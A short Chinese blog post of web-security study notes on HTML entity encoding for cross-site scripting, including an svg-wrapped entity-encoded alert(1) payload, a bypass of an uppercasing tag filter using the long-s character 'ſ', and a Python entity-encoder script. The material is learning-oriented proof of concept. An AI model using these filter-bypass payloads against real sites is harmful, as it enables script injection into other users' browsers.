HTML编码转换

HTML实体编码转换

html中不允许使用尖括号,因为会被误认为标签,但是实际生活中我们是有使用尖括号的需求的,所以我们用一种编码的方式来代替具体的符号。

即 &#加上ascii码加上分号;
a --> a

html可以识别这种编码,但是js没有办法识别。故实际在注入的时候,我们可能需要使用svg标签来执行,就像这样

<svg><script>alert&#40;1&#41;</script></svg>

## 这里&#40和&#41分别是左右括号。

至于为什么可以用svg标签,之前没有接触过,粗略查了一下,这个好像是一个画图库里的使用工具,所以我猜测可能是因为需要用函数对标签里的东西进行绘画啥的。
顺便记一个邪法,就是这个字母ſ
这个字母大写以后会变成S,在某些场合可以bypass。
比如

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')    # 将'<' + 字母的组合替换为 '<_' + 字母,如 '<as' 换成 '<_as'
  input = input.toUpperCase()	#将输入转为大写,html对大小写不敏感,但js对大小写敏感,故要对js部分编码。
  return '<h1>' + input + '</h1>'
}

在这个例子中,<script>标签会被替换为<_script>,但是如果我们使用这么一个payload

<ſvg><ſcript>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</script></svg>

这个神秘字母会被大写,然后变成S,成功绕过。
image
顺手写了个小脚本,用于转换字符串为html实体编码。

s = input("Input str : ")
target = ''
for i in s:
    tmp = "&#" + str(ord(i)) + ";"
    target += tmp

print("HTML encode is: \n%s" % target)

# 运行效果
# D:\vscode\Web_Security>python3 html_encode.py
# Input str:alert(1)
# Result is 
# &#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
posted @ 2022-02-27 22:54  AikNr  阅读(899)  评论(0编辑  收藏  举报